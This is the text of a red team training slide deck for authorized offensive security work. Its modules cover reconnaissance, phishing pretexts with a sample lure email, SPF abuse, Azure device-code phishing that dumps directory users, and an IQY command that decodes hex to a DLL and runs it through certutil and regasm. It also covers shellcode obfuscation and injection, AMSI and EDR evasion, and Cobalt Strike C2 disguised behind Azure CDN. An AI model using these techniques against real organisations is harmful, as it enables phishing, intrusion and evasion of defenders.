Red Team Training Dec 2022
Red Team Training Dec 2022
Charles F. Hamilton
Twitter @MrUn1k0d3r
Website https://mr.un1k0d3r.online
Github https://github.com/Mr-Un1k0d3r
Patreon https://patreon.com/MrUn1k0d3r
1
Syllabus
2 days training, covering both offensive and defensive aspects.
2
Information for the lab
Everything is hosted on the https://mr.un1k0d3r.online/ domain.
3
What is a red team
▪ Assesses your client’s responsiveness against threat actors
▪ Evaluates their security posture by achieving pre-defined goals
(access CEO emails, access customer data, etc.)
▪ Demonstrates potential paths used by attackers to access your client’s
assets
4
Module 1:
Initial Foothold
5
Initial Foothold
DNS Enumeration
During a red team some of your target may be 3rd party applications
that are not managed by your target (ex: payroll using a 3rd party). It is
important to fingerprint the ownership of these applications prior to
the red team
6
Initial Foothold
DNS Enumeration
Starting point:
• DNS reconnaissance (https://github.com/blark/aiodnsbrute,
fast and easy to use)
• Once the target primary domain is identified, performing a
DNS subdomain brute may reveal interesting targets
• VPS services are probably going to be much faster than your
home ISP
7
Initial Foothold
DNS Enumeration note
▪ Misconfigured DNS may leak internal IP addresses and servers of
interest in their public records
▪ You may also leak your IP address
▪ While performing a red team, make sure that you perform your DNS
query on a system that is not owned by you, since recursive DNS
query will leak the source
8
Initial Foothold
9
Initial Foothold
Certificate Enumeration
Certificate may have multiple subjects leaking extra DNS, including
staging environment
10
Initial Foothold
Search Engine
inurl:
intext:
site:
11
Initial Foothold
Github
• https://github.com/dxa4481/truffleHog can be used to harvest
information within github
• Trufflehog Searches through git repositories for secrets, digging deep
into commit history and branches
• This is effective at finding secrets accidentally committed
12
Initial Foothold
Enumeration Tool
https://github.com/OWASP/Amass is basically using all the method we
described to perform enumeration:
• Information Gathering Techniques Used:
• DNS
• Scraping
• Certificates
• APIs
• Web Archives
14
Initial Foothold
15
Initial Foothold
Validating that the IP range is owned by the target (using ARIN or
automated script https://github.com/Mr-Un1k0d3r/SearchIPOwner)
Your target may own more than one subnet, so make sure that you
perform the exercise every time you discover a new IP and repeat for
each domain that is own by them
16
Exercise
Enumerate subdomain
for mr.un1k0d3r.online
Initial Foothold
Subnets reconnaissance using shodan.io
18
Initial Foothold
Validating certificate in the range may reveal new domains that can be
used for enumeration
20
Initial Foothold
Censys.io also another Shodan like service but it is a bit more expensive
You can get shodan for about 5$ when they do their discount
21
Initial Foothold
Shodan may reveal other portals that can be used to access the internal
network:
• Citrix portals
• OWA
• VPN
• F5 console
• Fortinet
• Cisco
• …
22
Initial Foothold
Scanning the external subnet for most common port may be useful too.
Since the whole Internet is scanned several times a day, a light NMAP
should remain undetected.
Make sure you are using the proxy system that was previously set up in
the cloud not to expose your company’s IP and reveal that you are
performing a Red Team
nmap -Pn -sT -vvvv -oA scan 10.10.10.10/22 -p22,80,443,8080,8443
| | |
No ping - - Full TCP connect - List of common web port
23
Initial Foothold
proxychains to tunnel your scan? You need to use a full TCP connect
scan
proxychains –sT …
24
Initial Foothold
Quick web enumeration. Instead of manually browsing each web
application, the NMAP output can be used to perform web capture
using aquatone (https://github.com/michenriksen/aquatone)
25
Initial Foothold
Both amass and nmap results can be used to feed aquatone
26
Initial Foothold
27
Initial Foothold
28
Exercise
Run aquatone against the
discovered IPs
Initial Foothold
From there, you may be able to quickly identify interesting portals and
potential framework / application / services that can be exploited to
gain access
Keep in mind that one of the predefined goals can include accessing
one of the exposed portals. Once credentials are obtained, try to
connect to the service from the external network
30
Initial Foothold
Quick wins when it comes to reconnaissance:
• Lync and Office can be used to leak the internal domain name and may
expose authentication endpoint
• Exposed OWA can be used to access email through the EWS endpoint, even if
MFA is enforced
• Send internal phishing with compromised credentials via EWS
• https://github.com/rvrsh3ll/Misc-Powershell-
Scripts/blob/b834ca28c5a8d392bd14e8e4e380d42c4a8fc318/Send-
EWSEmail.ps1
• EWS endpoint is usually located at: https://your.target/EWS/Exchange.asmx
• Try to enumerate active directory through their exposed portal
31
Initial Foothold
Harvesting credentials and users
Query exposed data breach for email matching your target
Hunt code repositories online:
• Check commit message for guidance:
• Commit #13d8bd21a removing AWS key: you can check the commit and
retrieve the key event if the branch doesn’t show it anymore
32
Initial Foothold
33
Initial Foothold
34
Initial Foothold
35
Initial Foothold
Like Google search Github support keyword to refine your search
36
Initial Foothold
Github was cool and all, but they made it even cooler with the
cs.github.com search
37
Initial Foothold
Good ol’ Google dorks:
• intext
• inurl
• intitle
• site
• filetype
• …
https://www.exploit-db.com/google-hacking-database
38
Initial Foothold
Site such as linkedin.com may give you a list of employees
Metadata in exposed document may reveal the internal username structure:
site:ringzer0team.com filetype:pdf
Link may be down, don’t be scared of using wayback machine (archive.org) or Google cache
39
Initial Foothold
40
Initial Foothold
Cached example
41
Initial Foothold
Cached example
42
Exercise
Search for
interesting data
Initial Foothold
Some documents may have the Active Directory format as the author
Once the format is identified, you can generate a list of potential users
based on the information collected on linkedin, github commit name,
facebook, facebook corporate group, document metadata, corporate
website and more
44
Initial Foothold
Hiring platforms are also useful to fingerprint the security technology
used by your target
45
Exercise
Search for interesting
job description
Initial Foothold
Phishing
At this point, you either find an exposed vulnerability and you now
have access to their network, or you need to find a way to get in
This tool provides enough flexibility to target OWA, Office365 or an endpoint that supports
negotiate authentication (NTLM)
48
Initial Foothold
You client is using the cloud: Graph is what you are looking for
https://developer.microsoft.com/en-us/graph/graph-explorer
49
Initial Foothold
https://login.microsoftonline.com/common/v2.0/
https://graph.microsoft.com/v1.0/
50
Initial Foothold
Behind the curtain, Graph is using a bunch of standard web APIs
https://graph.microsoft.com/v1.0/me/messages
51
Initial Foothold
Phishing context and pretext matters
Pretext is a false, contrived, or assumed purpose or reason; a pretense
and Context is the surroundings, circumstances, environment,
background or settings that determine, specify, or clarify the meaning
of an event or other occurrence
52
Initial Foothold
Searching for context: google etc..
53
Initial Foothold
Your targets have SPF enabled, they must be protected against
spoofing, right?
Well short answer is no. They need to enforce DMARC and DKIM to
completely prevent spoofing
DMARC (Domain-Based Message Authentication, Reporting and Conformance) is an email
authentication protocol. It is designed to give email domain owners the ability to protect
their domain from unauthorized use, commonly known as email spoofing
54
Initial Foothold
Try it yourself: https://github.com/Mr-Un1k0d3r/SPFAbuse
55
Exercise
Try to send an email to
your corporate email
using the president’s
email
Initial Foothold
You can abuse 3rd party SPF trust
57
Initial Foothold
The Marketing Evil. Let’s assume your target has properly configured
the DMARC + DKIM + SPF
But they want to send marketing emails using, let’s say, sendgrid.com
58
Initial Foothold
Due to the way that most marketing email solutions work, companies must allow
the marketing solution in their SPF
You register an account on the same marketing solution and you send an email
within the same IP range
No need to tell you that this will increase the credibility of your phishing campaign,
since you can pretend to be from the targeted company
Phishing is all about trust
59
Exercise
Analyze DNS TXT Record
Initial Foothold
https://mxtoolbox.com
61
Initial Foothold
dig command
62
Initial Foothold
nslookup command
63
Initial Foothold
External assets can be tested using various tools:
Attack Lync:
▪ https://github.com/nyxgeek/lyncsmash
Attack Office365:
▪ https://github.com/mdsecactivebreach/o365-attack-toolkit
64
Initial Foothold
Now that we have everything in place to send our phishing, create the phishing
email and website
If you can use one of the target systems to host your payload, do it!
If you can’t, make sure that your phishing website is attractive:
▪ Clone legitimate website visual to make it look “professional”
▪ Obfuscate your payload
▪ Avoid typo squatting use 3rd party cloud service approach:
ringzer0.payrollapp.com vs rlngzer0.com
▪ Use categorized domain
▪ Domain age and certificate matter
▪ Don’t store the payload in the email
65
Initial Foothold
Clone legitimate website visual to make it look “professional”
The first impression your victim will get will come from the look of the
website
66
Initial Foothold
Obfuscate your payload
Assume that automated product will crawl your website. Hide the link to your final
payload:
Simple Apache mod_rewriterule to generate “corporate” URL with unique ID
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ! –f
RewriteCond %{REQUEST_FILENAME} ! –d
RewriteRule ^(.*)$ index.php [L,QSA]
https://phishy.domain/company/code/a2ef362e-45d0-b21d-5abf-edce29d365cb/
will actually call
https://phishy.domain/company/index.php
67
Initial Foothold
Obfuscate your payload
Use JavaScript to generate your payload’s final link
Let’s assume the HTML on the phishing website looks like this:
Automated security tools can easily process the HTML and pull the payload to
perform further analysis
68
Initial Foothold
Obfuscate your payload
<a id="download" href="#">
download the code of conduct</a>
<script>
document.getElementById("download").onclick = function() {
document.location= "https://phish" + "y.domain/pay" + "load";
}
document.getElementById("download").click();
</script>
69
Initial Foothold
Email Trick
70
Initial Foothold
Email Trick
Send your phishing email in HTML format and add the following piece
of code:
<style>body { display: none } .phish { display: block !important }</style>
<div class="phish">Your Phishing email content goes here</div>
71
Initial Foothold
Email Trick
This can be easily tested locally using pywin32 on Windows and Outlook
mail.Send()
72
Initial Foothold
Avoid typo squatting
If an employee notices the phishing attempt and identifies the typo squatting,
without a doubt, he will report. However, if the original domain looks legitimate,
the chance that the URL will be trusted increases
▪ ringzer0.payrollservice.com
▪ rlngzer0.com
▪ rìngzer0.com
Thanks to browser URL font for making the typo a bit harder to see
73
Initial Foothold
Use categorized domain
Assume that the targeted organization has a proxy in place internally. The proxy
may only allow trusted category:
• You can purchase already categorized domain that expired
• You can purchase your own domain and categorize it yourself
There are so many new domains that are registered that nowadays most proxies
will let uncategorized domains through to avoid having several support tickets
But always assume the worst, assume your client has tight filtering (reconnaissance
may have revealed some information)
74
Initial Foothold
Domain age matter
Proxy may prevent newly registered domain
75
Initial Foothold
Domain age and certificate matter
Even if you are not working a red team, you should register domains occasionally to
let them age before they will be used:
▪ Security solution may flag your email as suspicious due to a newly created
domain
▪ Corporate solution (for now) may flag let’s encrypt certificate as suspicious
since most of the major brands did not adopt it
▪ Use commercial solution to get a certificate
▪ For now, you can still use HTTP only website avoiding to deal with certificate
(Browsers are planning to flag non-HTTPS site soon)
76
Initial Foothold
Domain age and certificate matter
77
Initial Foothold
Don’t store the payload in the email
Storing your payload on a website you control allows you to:
▪ Know the source IP to detect potential automated tool
▪ Know if there is an automated tool that crawled your payload (user agent, IP)
▪ Swap your payload if there is a problem
▪ Track users that interacted with your phishing
78
Initial Foothold
Don’t store your macro in your document
Office allow you to fetch remote template
79
Initial Foothold
Hi Bob,
We are currently updating our code of conduct policy. Please review and accept as
soon as possible.
We are using the CodeOfConduct EZ-Form technology to digitally sign the
document.
The code of conduct can be found here:
https://ringzer0team.codeofconductupdate.com/trustwave/code/a2ef362e-45d0-
b21d-5abf-edce29d365cb/
Thank you,
80
Initial Foothold
Do not hesitate to duplicate the target signature format. Once again,
reconnaissance probably leaked some public email with the format
they are using
81
Exercise
Check domain
categorization
Initial Foothold
Payload Options
Based on the reconnaissance, you may want to prioritize a certain type of payload over another one
EDR and Antivirus love to brag about their detection capability. Browse their website for more
information and use a payload that does not use a technique they detect
83
Initial Foothold
Macro VBA:
PROS:
▪ Easy to write
▪ Easy to obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ No SmartScreen
84
Initial Foothold
Macro VBA:
CONS:
▪ Easy to block (Macro enabled document)
▪ Since Office 2016, macros are disabled by default and can’t be enabled
▪ Easy heuristics detection (WinWord.exe spawning cmd.exe). Use WinWord
to WMI to prevent that
▪ User interaction required to allow it to run
85
Initial Foothold
Macro VBA tricks:
Use WMI to spawn process to break the process chain
Use condition to execute code:
▪ Good ol’ domain check
▪ Delayed execution
▪ Use VBA as the first stage to download more payload
https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
86
Initial Foothold
HTA:
PROS:
▪ Easy to write
▪ Easy to obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ No SmartScreen
87
Initial Foothold
HTA:
CONS:
▪ Well known technique, lot of detection effort has been made
▪ User interaction required to allow it to run
▪ Relatively easy to detect since mshta.exe is the parent process
88
Initial Foothold
HTA tricks:
Use simple HTA to dump other files that rely on Windows signed binary to bypass
application whitelisting
Use the engine to obfuscate your code
89
Initial Foothold
import sys
import random
import string
def gen_str(size):
return "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(size))
output += "', 'VBScript')\">"
90
print(output)
Initial Foothold
IQY File:
PROS:
▪ Easy to write
▪ Easy to obfuscate or embed another file inside the IQY file
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ No SmartScreen
91
Initial Foothold
IQY File:
CONS:
▪ Well known technique, lot of detection effort has been made
▪ User interaction required to allow it to run
▪ Excel disables it on most systems
92
Initial Foothold
IQY file tricks:
https://gist.github.com/Mr-Un1k0d3r/abdcf16ebcef5842c7f79ee6686271e7
=cmd|' /c more /E +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex
%temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1’
https://gist.github.com/Mr-Un1k0d3r/4ed3e3e0416fbbd1fd015119359eb961
WEB
1
https://ringzer0.com/IQY
SingleBlockTextImport=False
DisableDateRecognition=False
DisableRedirections=False
4d5a90000300000004000000fff...
93
Initial Foothold
ClickOnce:
PROS:
▪ Easy to write (CSharp or any .NET language of your choice since it’s all
converted into MSIL)
▪ Easy to obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ Rely on the .NET framework (easy to pivot to unmanaged Powershell)
▪ It’s an EXE, low obfuscation can be used
94
Initial Foothold
ClickOnce:
CONS:
▪ SmartScreen will be triggered
▪ User interaction required to allow it to run
▪ Internet Explorer or Edge is required to deliver the payload
95
Initial Foothold
ClickOnce Tricks:
CSharp (or .NET language of your choice) can be easily obfuscated and used to
either load shellcode or unmanaged powershell
https://github.com/Mr-Un1k0d3r/ClickOnceGenerator
96
Initial Foothold
LNK file:
PROS:
▪ Easy to generate
▪ Run arbitrary command
▪ No SmartScreen
97
Initial Foothold
LNK file:
CONS:
▪ Easy to analyze
▪ Kind of shady since you need a ZIP usually to add all the needed files
98
Initial Foothold
LNK can be bundle with a MSI installer
99
Initial Foothold
CHM file:
PROS:
▪ Easy to write (HTML & script based)
▪ No SmartScreen
▪ Not super popular
100
Initial Foothold
CHM file:
CONS:
▪ Easy to analyze
▪ Looks shady from a user perspective
▪ Limited in your actions
101
Initial Foothold
CHM Tricks:
Need to be compiled locally using hhc.exe
102
Initial Foothold
EXE:
PROS:
▪ Deep obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ It’s an EXE, low obfuscation can be used
▪ Direct use of Windows APIs unhooking is possible without writing too much
code
103
Initial Foothold
EXE:
CONS:
▪ SmartScreen will be triggered
▪ May be hard to run due to policy in place
104
Initial Foothold
EXE Tricks:
▪ Avoid using generated exe without modification; AV will detect them in a
matter of seconds
▪ Time to learn assembly and Windows core to obfuscate your code
▪ Zip your EXE. If your target is using anything else than the default windows
archive utility, you will not get SmartScreen since it will remove the Mark of
the Web
C:\>dir /R
105
Initial Foothold
SmartScreen?
When you download certain type of file such as EXE, you may get prompted with
the following screen
106
Initial Foothold
Each downloaded file will contain an ADS file (Alternate Data Stream) with the zone
identifier
[ZoneTransfer]
ZoneId=3
107
Initial Foothold
▪ ZoneId=0: Local machine
▪ ZoneId=1: Local intranet
▪ ZoneId=2: Trusted sites
▪ ZoneId=3: Internet
▪ ZoneId=4: Restricted sites
108
Exercise
Select a payload
based on the recon
result
Initial Foothold
Phishing advice:
110
15 minutes break
Gaining Access
You can use Azure AD to get internal AD access
Perfect for phishing too, since you are using a legitimate Microsoft
endpoint
112
Gaining Access
You can use the devicecode feature
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.windows.net"
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri
"https://login.microsoftonline.com/common/oauth2/devicecode?api-
version=1.0" -Body $body
$user_code = $authResponse.user_code
write-output $authResponse
113
Gaining Access
114
Gaining Access
$jwt = $response.access_token
$output = Parse-JWTtoken -token $jwt
$upn = $output.upn
write-output $upn
Write-output "Dumping Users"
Connect-AzureAD -AadAccessToken $response.access_token -AccountId $upn
Get-AzureADUser -All $True | Select-Object -Property * | Out-File AD-users.txt
Write-output "Dumping Groups"
Get-AzureADGroup -All $True | Select-Object -Property * | Out-File AD-groups.txt
115
Gaining Access
The complete source code is located at:
https://mr.un1k0d3r.online/training/source/phishing.ps1
116
Exercise
Try it against
yourself
Gaining Access
118
Gaining Access
119
Gaining Access
• Shellcode is basically assembly code often referred as opcode
120
Gaining Access
Assembly language is designed to be the “ human readable ” version of
the opcode processed by the CPU
121
Gaining Access
The opcode can be converted back to assembly to confirm its assembly
code
OpAsm can convert opcode to assembly and vice versa
https://ringzer0ctf.com/static/OpAsm.1.3.py
122
Gaining Access
Shellcode can be executed using small C program
Keep in mind that this approach is not going to work on modern
systems due to memory allocation security measures
123
Gaining Access
Once compiled, this complex basically becomes a call EAX, where EAX is
pointing to the shellcode
124
Gaining Access
EIP is now pointing to EAX and the shellcode is executed
FC E8 89 00 00 00
125
Gaining Access
FC E8 89 00 00 00
Typical Metasploit / cobalt strike shellcode signature
126
Gaining Access
No need to say that Antivirus solutions Even static approach can detect the
and EDR will detect this stager in a matter shellcode signature
of second since it can be detected easily
127
Gaining Access
▪ To AVOID detection, we will go
through two commonly used
techniques
▪ Low level obfuscation (using C or
assembly)
▪ WRAPPING THE SHELLCODE IN
SEVERAL LAYERS OF CODE (GZIP
+ BASE64 + C# + UNMANAGED
POWERSHELL)
128
Gaining Access
▪ Low level obfuscation serves the purpose of evading static detection
and not too sophisticated security products
▪ The idea is to hide the original shellcode that can be easily detected
using regex or pattern match
▪ Runtime detection will still detect the final shellcode behavior
129
Gaining Access
For instance, DKMC is using a low-level obfuscation approach
In a nutshell, the code is encrypting the shellcode with a 32 bits
(DWORD) key using the xor operator.
DWORD key ⊕ DWORD shellcode
The key is unknown by the algorithm, and it is bruteforced at runtime
https://github.com/Mr-Un1k0d3r/DKMC
130
Gaining Access
131
Gaining Access
In the case of DKMC, the obfuscated Making the final payload a polyglot image
shellcode is then embedded in an image
that is 100% valid; the whole image is
also a VALID shellcode
132
Gaining Access
It goes without saying that the possibilities are endless when it comes
to low-level obfuscation
133
Exercise
Write C code to
execute obfuscated
shellcode (xor)
Gaining Access
The encoder
135
Gaining Access
The decoder
136
Gaining Access
Quick note on the xor operator:
The same code can be used to generate the encoder and the decoder
A⊕B=C
C⊕B=A
137
Gaining Access
The fact that xor is super easy to use is extremely convenient
when it comes to payload obfuscation
138
Gaining Access
How Cobalt Strike payload can be obfuscated; luckily, there are a lot of
format types available
140
Gaining Access
The Base64 decoded data leads to more powershell code than GZIPed
and Base64 once more
141
Gaining Access
Which decodes to the final powershell stage
142
Gaining Access
The big base64 blob of data is xor with the value 35 (remember how
xor is used everywhere)
143
Exercise
Decode the final
stage
Gaining Access
Our good ol’ shellcode!
145
This shellcode was obfuscated using
the following layers
Powershell base64
146
Gaining Access
Every payloads type will end up calling
shellcode, since the malicious code is always
going to be a DLL
147
Gaining Access
Alternative ways to run shellcode:
https://github.com/Mr-Un1k0d3r/PowerLessShell
148
Gaining Access
Alternative ways to run shellcode:
https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
149
Gaining Access
Alternative ways to run shellcode:
https://github.com/Mr-Un1k0d3r/SCT-obfuscator
150
Gaining Access
Speaking of CreateRemoteThread, you can also execute your shellcode within your
own process (CreateThread) or a remote process
Threads are basically code that will be executed in the process. Good news!
Shellcode is code that can be executed
Windows APIs that can be used:
▪ CreateRemoteThread
▪ CreateThread
▪ QueueUserAPC
▪ …
Memory permission matters: if you want to be able to run shellcode, your memory
needs to be executable
If your shellcode is modifying itself, you need writable memory region
151
Gaining Access
CreateThread may be detected by static analysis or ”deep learning”
152
Gaining Access
#include <windows.h>
void shellcode() {
asm(".byte 0xcc, 0xcc");
}
int main() {
CHAR *payload = shellcode;
153
Gaining Access
Remote injection requires the use of the following APIs:
154
Exercise
Write C code to execute
shellcode using
CreateRemoteThread
Gaining Access
156
Gaining Access
Want to use C# instead, Interop Service is your friend
https://github.com/Mr-
Un1k0d3r/RemoteProcessInjection/blob/master/remoteprocessinjection.cs
157
Gaining Access
.NET can be used to hide your code using native ProtectedMemory
class
158
Gaining Access
SameLogin and SameProcess can be used to prevent security product
scan to analyze your malicious data stored in memory, since they will
not be able to unprotect the memory
159
Exercise
Write C code to
execute shellcode using
CreateThread
Gaining Access
161
Gaining Access
The call to the CreateThread confirms that the code will be executed
162
Gaining Access
163
Gaining Access
WARNING
164
Gaining Access
When you are designing your payload, you may want to think of the
following:
If you want to avoid network detection, act like a legitimate
service
165
Gaining Access
If you want to avoid detection, understand your enemy
What do they really monitor?
▪ Network
▪ APIs hooks
▪ Behaviors
▪ Heuristics
▪ Hash based
166
Gaining Access
Network:
▪ Second layer of encryption
▪ Shady, less used protocol
▪ Secure channel
167
Gaining Access
Why domain fronting is so powerful:
▪ Using known “trusted” domain to route your traffic will increase the chance
to blend in
▪ If the traffic is not encapsulated into a secure channel (TLS), heuristic
detection may be harder
168
Gaining Access
Why domain fronting is so powerful:
A typical domain fronting will have a Host header that doesn’t match the host
requested
169
Gaining Access
Why domain fronting is so powerful:
Querying google.com
GET / HTTP/2.0
Host: malicious.com
Assuming that the server supports arbitrary host, the request will be
forwarded to the attacker.
https://github.com/vysecurity/DomainFrontingLists
170
Gaining Access
HTTP IS PROBABLY THE MOST USED PROTOCOL
▪ WELL DETECTED
▪ EASY TO USE TONS OF LIBRARIES
171
Gaining Access
RAW TCP
▪ FAST
▪ WELL DETECTED
▪ NEED MORE TIME TO CODE
172
Gaining Access
DNS
▪ LESS MONITORED
▪ SLOW
▪ NEED MORE TIME TO CODE
173
Gaining Access
ICMP
▪ LESS MONITORED, NOT SUPER POPULAR ANYMORE
▪ SUPER SLOW
▪ NEED MORE TIME TO CODE
174
Gaining Access
Protocol encryption VS software encryption:
Protocol may be easily intercepted by network filter
TLS -> Windows Decryption -> Network Filter -> Application
|
It’s now clear text
TLS -> Windows Decryption -> Network Filter -> Application ->
Decryption
|
Still encrypted
175
Gaining Access
ThunderShell is using this approach
https://github.com/Mr-Un1k0d3r/ThunderShell
HTTPS
HTTP
176
Gaining Access
ThunderShell is using this approach
https://github.com/Mr-Un1k0d3r/ThunderShell
The JSON data contains the actual C2 communication
The traffic is still encrypted since it’s decrypted at the software layer
This obviously defeats network filter
177
Gaining Access
APIs hooking:
▪ Don’t use the ones that are hooked
▪ If it’s user mode hooking, jump over the hook
▪ Jumping user land hooks
▪ Depending on how deep the hook is, call lower Windows API:
178
Gaining Access
CreateFile kernel32.dll
NtCreateFile ntdll.dll
syscall
179
Gaining Access
Nt* and Zw* are the same using Zw* will not defeat
hooks in the Nt* APIs
180
Gaining Access
Zw* is designed to be called from the kernel
Nt* is designed to be called from the userland
181
Gaining Access
Behaviors:
Process correlation:
▪ WinWord.exe -> cmd.exe -> powershell.exe
▪ WinWord.exe Using VBA to register WMI process
182
Gaining Access
Behaviors:
Process path:
▪ C:\windows\system32\cmd.exe
▪ C:\suspicious\cmd.exe
Unexpected process issuing network requests
Unknown process name / registry keys
183
Gaining Access
Heuristics:
AMSI detection based on known malicious strings
AV signature for known hacking tool (non-compiled code)
AV signature for known bad binaries
Blacklisted known binaries
▪ regsvr32.exe
▪ powershell.exe
184
Gaining Access
You can patch known lolbin and change the hash, but it will remain
signed and verified
https://github.com/Mr-Un1k0d3r/Windows-SignedBinary
185
Gaining Access
Hash based:
Known malicious hash
Known Windows binaries that are blacklisted, based on the hash:
▪ regsvr32.exe
▪ regasm.exe
▪ msbuild.exe
186
Gaining Access
WARNING EACH SECURITY PRODUCTS IS WORKING DIFFERENTLY
https://github.com/Mr-Un1k0d3r/EDRs
187
Gaining Access
Evasion techniques such as renaming may evade a solution. In other
situations, it may trigger alerts
Then the newly created binary can be used instead of the legitimate
msbuild.exe
188
Gaining Access
Evasion techniques such as patching AMSI AmsiScanBuffer API
In certain cases, the patching action may trigger alerts
In certain cases, simply running less suspicious commands will not trigger an alert
189
Gaining Access
▪ Antimalware Scan Interface (AMSI): The Windows Antimalware Scan
Interface (AMSI) is a versatile interface standard that allows your applications and
services to integrate with any antimalware product that's present on a machine
▪ AMSI provides enhanced malware protection for your end-users and their data,
applications, and workloads
190
Gaining Access
Unmanaged powershell is not loading AMSI
191
Gaining Access
There is several tool that “bypass” AMSI but truly don’t do much since
AMSI is not loaded in the current context
You want to know if AMSI is loaded, list all the loaded Dlls; you are
looking for amsi.dll
A simple trick can be used to unload it (work with EDR Dlls too)
FreeLibrary("amsi.dll");
193
Gaining Access
194
Gaining Access
Powershell.exe
195
Gaining Access
Unmanaged powershell?
196
Gaining Access
197
Gaining Access
Unmanaged powershell
Pipeline p = r.CreatePipeline(); does not load
amsi.dll
Importing
System.Management.Automation.Runspaces
does not load amsi.dll
Calling Runspace r =
RunspaceFactory.CreateRunspace(); does not
load amsi.dll
The call that trigger the load of AMSI is the
Invoke()
198
Gaining Access
If you are going to patch AMSI, make sure you
patch it before the call that will load it
199
Gaining Access
The language used to develop your payload may make a difference
You can obfuscate your final stage using language such as:
▪ Go
▪ Rust
▪ JavaScript
▪ Python to exe
▪ Nim (https://github.com/byt3bl33d3r/OffensiveNim)
▪ or your favorite language
200
Gaining Access
Quick note on staged vs stageless
▪ A stager is a simple shellcode that usually connects back to a host and
downloads the second stage
▪ A stageless payload contains all the malicious payload and does not
perform a second download to get the core code
201
Gaining Access
Meterpreter is a perfect example:
The staged version of it works using the following approach:
202
Gaining Access
Meterpreter is a perfect example:
The stageless version of it works using the following approach:
203
Gaining Access
Stageless:
PROS:
▪ No second stage downloaded over the network that can be captured with
network filter
▪ You can obfuscate the whole RAT
204
Gaining Access
Stageless:
CONS:
▪ Bigger payload
▪ May not work depending on the vectors because of size limitation
205
Gaining Access
Staged:
PROS:
▪ Simple and small payload
▪ Can wrap with other techniques easily
206
Gaining Access
Staged:
CONS:
▪ Download over the network (dll in clear)
207
Gaining Access
Evasion VS Obfuscation
Evasion:
if(user == “Charles”) { do bad }
Obfuscation:
var user = 0x436861726c6573;
208
Exercise
Bypass AMSI by
obfuscating your
favorite powershell
code
Gaining Access
This code is detected by AMSI
210
Gaining Access
Obfuscate your payload; in this case, the base64
211
Gaining Access
Replace letters that are the most common in the base64 blob of data in
this case ‘N’ and ‘B’
Break the base64 data using arbitrary symbol
212
Gaining Access
Want to figure out if your code is triggering AMSI:
https://github.com/RythmStick/AMSITrigger
213
Exercise
Confirm that the code
does not trigger AMSI
anymore by obfuscating
some Powershell
Gaining Access
Quick note on DLLs:
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-
library-best-practices
215
Gaining Access
Dlls Hell
216
Gaining Access
So how does reflective DLL work then?
Export DllMain() {
}
Export ReflectiveLoad() {
}
rundll32.exe malicious.dll,ReflectiveLoad
217
Gaining Access
Not perfect but work most of the time:
https://github.com/Mr-Un1k0d3r/DLLsForHackers
218
Gaining Access
Inspecting was is going in the background is also really important to
improve your understanding of the underlying magic
API Monitor is a free software that lets you monitor and control API
calls made by applications and services
Its a powerful tool for seeing how applications and services work or for
tracking down problems that you have in your own applications
219
Gaining Access
220
Gaining Access
Setting up your infrastructure is important
221
Gaining Access
Why would you use the cloud
The domain are trusted and NOT newly registered
Most of the corporate proxy will allow them since everything is in the cloud
AWS: *amazonaws.com
Azure: *azureedge.net, *.azurefd.net etc..
222
Gaining Access
Azure offer CDN feature that can be used to “hide” your true domain
Once you access the portal (https://portal.azure.com), I recommend
using the search because the UI is a mess
223
Gaining Access
Keep in mind this can be used for domain fronting, but we are not
doing domain fronting here, since Azure is clear about the fact that it is
NOT allowed anymore
224
Gaining Access
Create a new instance
225
Gaining Access
226
Gaining Access
REALLY IMPORTANT DISABLE CACHING
227
Gaining Access
Azure allow you by default to do geofencing and much more
Once you are set, you can set your Cobalt Strike to
mrun1k0d3r.azureedge.net which point to your C2 server IP, under the
hood
228
Gaining Access
Rather use AWS instead of Azure. Sure!
Once again, you will have a domain in front of your server that is
trustable
229
Gaining Access
You want a good profile:
Echo Mirage MITM, a legit application, and duplicate the traffic
230
Gaining Access
From pcap to Cobalt Strike profile
231
Gaining Access
Looking for a nice profile?
Pick one of your favorite corporate applications that send traffic over the Internet such as:
▪ SharePoint
▪ Teams
▪ Office
232
Gaining Access
233
Gaining Access
Let’s deal with the host first
Register res-cdn-office.azureedge.net
234
Gaining Access
For the profile set the URI to
235
Gaining Access
On the server side
236
Gaining Access
When the beacon will callback, it will look like the server is returning
an SVG file due to the profile we created
237
Gaining Access
IN CONCLUSION DESIGNING PAYLOAD TAKE CREATE YOUR OWN LAB CODE CODE CODE
TIME, RESEARCH AND PLAY WITH THE SECURITY
TEST PRODUCT
238
15 minutes break
What is an EDR, XDR or NDR?
Endpoint detection & response relies on the following to detect
